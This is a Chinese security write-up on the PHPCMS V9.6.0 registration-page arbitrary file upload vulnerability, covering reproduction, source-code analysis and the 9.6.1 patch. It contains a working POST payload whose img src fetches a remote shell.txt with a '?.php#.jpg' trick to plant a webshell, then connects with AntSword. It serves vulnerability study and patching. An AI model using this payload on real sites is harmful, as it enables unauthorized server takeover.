首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHPCMS V9.6.0_前台任意文件上传

PHPCMS V9.6.0_前台任意文件上传

作者头像
Al1ex
发布2023-09-07 10:20:34
发布2023-09-07 10:20:34
1.2K20
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行
影响范围

PHPCMS V9.6.0

攻击类型

任意文件上传

利用条件

影响范围应用

漏洞概述

2017年4月份左右PHPCMS V9.6被曝出注册页面存在任意文件上传漏洞,通过该漏洞攻击者可以在未授权的情况下上传任意文件,甚至getshell

漏洞复现
利用方式1

首先打开用户注册页面,之后随意填写数据,同时使用burpsuite抓取数据包:

代码语言:javascript
代码运行次数:0
运行
复制
http://192.168.174.138/phpcms/index.php?m=member&c=index&a=register&siteid=1

之后发送到repeater模块,同时修改请求数据包中的请求数据为:

代码语言:javascript
代码运行次数:0
运行
复制
siteid=1&modelid=11&username=joe&password=123456&email=123qwe@qq.com&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=

文件成功上传

利用方式2

在Firefox中访问用户注册页面,同时通过hackbar来POST以下请求(这里的img标签中的src为可以访问到的VPS中的webshell木马程序访问地址):

代码语言:javascript
代码运行次数:0
运行
复制
siteid=1&modelid=11&username=Al1ex&password=1234567&email=1234@163.com&info[content]=<img src=http://192.168.174.138/shell.txt?.php#.jpg>&dosubmit=1&protocol=

之后更具目录去相关目录下查看文件,发现webshell确实已经被成功上传:

之后使用蚁剑来连接:

漏洞分析

首先我们需要查看一下用户的注册功能"phpcms/modules/member/index.php"中的register函数:

从上面的流程可以看到首先是获取用户的siteid,之后定义了站点的id并加载了用户模块和短信模块的配置,之后通过对"$_POST['dosubmit']"是否为空进行判断来确定是否要进入用户注册流程当中,而我们这里自然是不为空了,所以我们继续跟进。之后通过查看代码我们可以看到对于用户的信息验证代码在L129行开始,同时我们之前在漏洞验证过程中的关键词"info"也出现了,我们继续跟进:

从上面的代码中我们可以看到对于post进的info信息首先通过"new_html_special_chars"来转义了一下HTML特殊字符,之后用将其传入到了member_input中,之后我们跟进get函数来看看:

从上面可以看到这里首先通过trim_sript函数:

从函数功能来看这里只是对用户的输入的数据中的javscript代码进行了一次转义。

在get函数中有个关键的点就是if(is_array(data)),我们payload中的info就是个数组,所以能走进这个if条件中,继续跟。先是用foreach进行遍历info,键名为field,键值为value,首先用safe_replace进行了一次安全替换:

之后我们再次返回到get函数中,由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:

接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:

函数中先对$value中的引号进行了转义,然后使用正则匹配:

代码语言:javascript
代码运行次数:0
运行
复制
$ext = 'gif|jpg|jpeg|bmp|png';
...
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。接下来程序使用这行代码来去除 url 中的锚点:this->fillurl(absurl, basehref);,处理过后

可以看到#.jpg会被自动删除了,正因如此,下面的filename = fileext(file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。随后在这一行带入了函数fillurl:

同时在fillurl中去掉了#后的内容:

代码语言:javascript
代码运行次数:0
运行
复制
$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

随后便进行下载:

其中$upload_func等同于php的copy函数。然而:

而fopen一般都是可用的,如果开启了allow_url_fopen,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen。

最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数至此,该漏洞分析完成。

漏洞POC

pocsuite3

POC完整脚本后台回复"PHPCMS"下载

修复建议

phpcms 发布了9.6.1版本,针对该漏洞的具体补丁如下,在获取文件扩展名后再对扩展名进行检测

参考链接

https://www.seebug.org/vuldb/ssvid-92930

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-08-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 攻击类型
  • 利用条件
  • 漏洞概述
  • 漏洞复现
    • 利用方式1
    • 利用方式2
  • 漏洞分析
  • 漏洞POC
  • 修复建议
  • 参考链接
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档